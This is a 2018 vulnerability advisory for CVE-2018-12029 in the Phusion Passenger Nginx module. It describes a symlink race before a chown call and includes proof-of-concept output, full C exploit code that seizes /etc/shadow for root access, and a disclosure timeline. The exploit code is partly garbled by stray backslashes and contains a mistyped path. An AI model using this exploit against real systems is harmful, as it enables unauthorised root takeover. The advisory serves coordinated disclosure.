Title: Phusion Passenger – ngx_http_passenger_module privilege escalation
Date Released: 13/06/2018
CVE: CVE-2018-12029
Author: Denis Andzakovic
Vendor Website: Phusion Passenger
Affected Software: Phusion Passenger < 5.3.2 – Nginx module

Privilege Escalation

The Passenger Nginx module creates a control_process.pid file and uses a chown system call to change the owner to www-data. By changing the control_process.pid file to a symbolic link after the file's creation but prior to the chown call, an attacker may change the ownership of any file on the filesystem to www-data. The following extract from the ngx_http_passenger_module.c file details the issue.

449 	if (create_file(cycle, filename, (const u_char *) "", 0) != NGX_OK) {
450 		result = NGX_ERROR;
451 		goto cleanup;
452 	}
453 	do {
454 		ret = chown((const char *) filename, (uid_t) core_conf->user, (gid_t) -1);
455 	} while (ret == -1 && errno == EINTR);
456 	if (ret == -1) {
457 		result = NGX_ERROR;
458 		goto cleanup;
459 	}

The passenger_instance_registry_dir (which sets the passenger temporary directory location) needs to be set to a directory controllable by the www-data user for this vulnerability to be practically exploitable. By default, the Passenger Nginx installations are not configured in such a way that this race condition is exploitable; however, non-standard temporary directory configurations are not unusual. In the exploit proof-of-concept code detailed on the following page, the passenger_instance_registry_dir was set to /opt/mytmp, and configured as follows:

~$ ls -ld /opt/mytmp/
drwxr-xr-x 3 www-data www-data 4096 May 9 23:06 /opt/mytmp/

The following proof-of-concept waits for the creation of the passenger-<random> directory and replaces it with a new directory structure, including a control_process.pid symbolically linked to /etc/shadow. An attacker that controls /etc/shadow can manually set the password for the root user, effectively achieving privilege escalation. Please note, if testing this POC, the /etc/shadow file will likely be overwritten with the Passenger process ID. /etc/crontab may be a wiser target for practical exploitation purposes.

Proof-of-Concept

~$ ./privesc
[+] watching /opt/mytmp
[+] read 48
[+] Got name: passenger.JyOTuQI len 32
[+] Attacking: /opt/mytmp/passenger.JyOTuQI
[+] Race won? Check /etc/shadow
~$ ls -l /etc/shadow
-rw-r--r-- 1 www-data shadow 5 May 9 23:28 /etc/shadow

Proof-of-Concept - Exploit Code

#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <limits.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/inotify.h>

#define BUF_LEN (10 * (sizeof(struct inotify_event) + NAME_MAX + 1))

extern int errno;

void create_dummy_dir(){
     if(mkdir("/var/tmp/passenger-privesc", 0755) < 0){
         printf("[!] mkdir failed: %s\n", strerror(errno));
         _exit(1);
     }
     if(mkdir("/var/tmp/passenger-privesc/web_server_info", 0755) < 0){
         printf("[!} mkdir failed: %s\n", strerror(errno));\
         _exit(1);\
     }\
     if(symlink("/etc/shadow","/var/tmp/passengerprivesc/web_server_info/control_process.pid") < 0){\
         printf("[!] symlink failed: %s\n", strerror(errno));\
         _exit(1);\
     }\
}\n\nint main(){\
     char * passenger_instance_registry_dir = "/opt/mytmp";\
     int tlen = strlen(passenger_instance_registry_dir);\
     int inot_fd, w;\
     struct inotify_event * event;\
     char buf[BUF_LEN];\
     char * p;\
     ssize_t len;\
\n	create_dummy_dir();\
\n	char target_path[strlen(passenger_instance_registry_dir) + 19];\
     memset(target_path, 0x00, sizeof(target_path));\
     char junk_path[strlen(passenger_instance_registry_dir) + 6];\
     snprintf(target_path, sizeof(target_path), "%s/passenger.XXXXXXX",\
passenger_instance_registry_dir);\
     snprintf(junk_path, sizeof(junk_path), "%s/junk", passenger_instance_registry_dir);\
\n	inot_fd = inotify_init();\
     if(inot_fd < 0){\
         printf("[!] inotify_init() failed: %s\n", strerror(errno));\
         return 1;\
     }\
 w = inotify_add_watch(inot_fd, passenger_instance_registry_dir, IN_CREATE);\
 if(w < 0){\
     printf("[!] inotify_add_watch() failed: %s\n", strerror(errno));\
    return 1;\
}\
    printf("[+] watching %s\n", passenger_instance_registry_dir);\
\n	while(1){\
         len = read(inot_fd, buf, BUF_LEN);\
         printf("[+] read %zd\n", len);\
\n		for (p = buf; p < buf + len; ) {\
             event = (struct inotify_event *) p;\
             if(event->name[0] == 0x70){ // check the first character is 'p'.\
                 printf("[+] Got name: %s len %u\n", event->name, event->len);\
\
                memcpy(target_path+sizeof(target_path)-8, event->name+10, 7);\
                 printf("[+] Attacking: %s\n", target_path);\
\
                rename(target_path,junk_path);\
                 rename("/var/tmp/passenger-privesc",target_path);\
\
                printf("[+] Race won? Check /etc/shadow\n");\
                 goto end;\
             }\
             p += sizeof(struct inotify_event) + event->len;\
         }\
     }\
end:\n\
    return 1;\
}\n```

## Disclosure Timeline

14/05/2018 – Vulnerability disclosed to Phusion team  
15/05/2018 – Response from Phusion, advising they need some time to review the code base for similar vulnerabilities.  
26/05/2018 – Update from Phusion developers, release is still under development.  
06/06/2018 – Update from Phusion developers, release is planned.  
08/06/2018 – Update from Phusion developers with the CVE number.  
13/06/2018 – Phusion Passenger 5.3.2 released  
13/06/2018 – Advisory released